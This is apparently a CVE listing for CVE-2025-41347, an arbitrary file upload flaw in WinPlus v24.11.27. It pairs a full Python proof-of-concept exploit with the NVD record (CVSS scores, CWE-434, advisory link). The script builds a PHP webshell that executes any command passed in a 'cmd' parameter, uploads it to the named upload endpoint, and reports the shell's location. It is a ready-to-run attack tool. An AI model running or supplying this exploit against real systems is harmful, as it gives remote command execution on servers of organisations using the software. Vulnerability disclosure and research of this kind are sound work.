CVE-2025-41347

#!/usr/bin/env python3 """ CVE-2025-41347 PoC - WinPlus Arbitrary File Upload Author: Security Researcher Description: Exploit for unlimited upload vulnerability in WinPlus v24.11.27 """ import requests import sys def create_webshell(): """Generate webshell payload""" # Simple PHP webshell webshell_content = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" return webshell_content def exploit(target_url, output_file='shell.php'): """ Exploit the arbitrary file upload vulnerability Args: target_url: Base URL of the vulnerable WinPlus instance output_file: Name of the uploaded file Returns: bool: True if exploitation successful, False otherwise """ upload_endpoint = f"{target_url}/WinplusPortal/ws/sWinplus.svc/json/uploadfile" # Create malicious file webshell_content = create_webshell() # Prepare multipart form data files = { 'file': (output_file, webshell_content, 'application/x-php') } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json, text/javascript, */*; q=0.01', } print(f"[*] Target: {upload_endpoint}") print(f"[*] Uploading malicious file: {output_file}") try: # Send the malicious upload request response = requests.post(upload_endpoint, files=files, headers=headers, timeout=30) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code == 200: print(f"[+] File uploaded successfully!") print(f"[+] Webshell location: {target_url}/uploads/{output_file}") print(f"[+] Execute commands via: ?cmd=<command>") return True else: print(f"[-] Upload failed with status {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-41347.py <target_url>") print("Example: python cve-2025-41347.py http://vulnerable-server.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

{"cve": {"id": "CVE-2025-41347", "sourceIdentifier": "[email protected]", "published": "2025-11-18T11:15:46.460", "lastModified": "2025-11-19T19:14:40.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unlimited upload vulnerability for dangerous file types in WinPlus v24.11.27 from Informática del Este. This vulnerability allows an attacker to upload a 'webshell' by sending a POST request to '/WinplusPortal/ws/sWinplus.svc/json/uploadfile'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:iest:winplus:24.11.27:*:*:*:-:*:*:*", "matchCriteriaId": "1A66AD43-00CF-49F5-BF3A-C88CE8F59E4B"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/stored-cross-site-scripting-xss-winplus-informatica-del-este", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}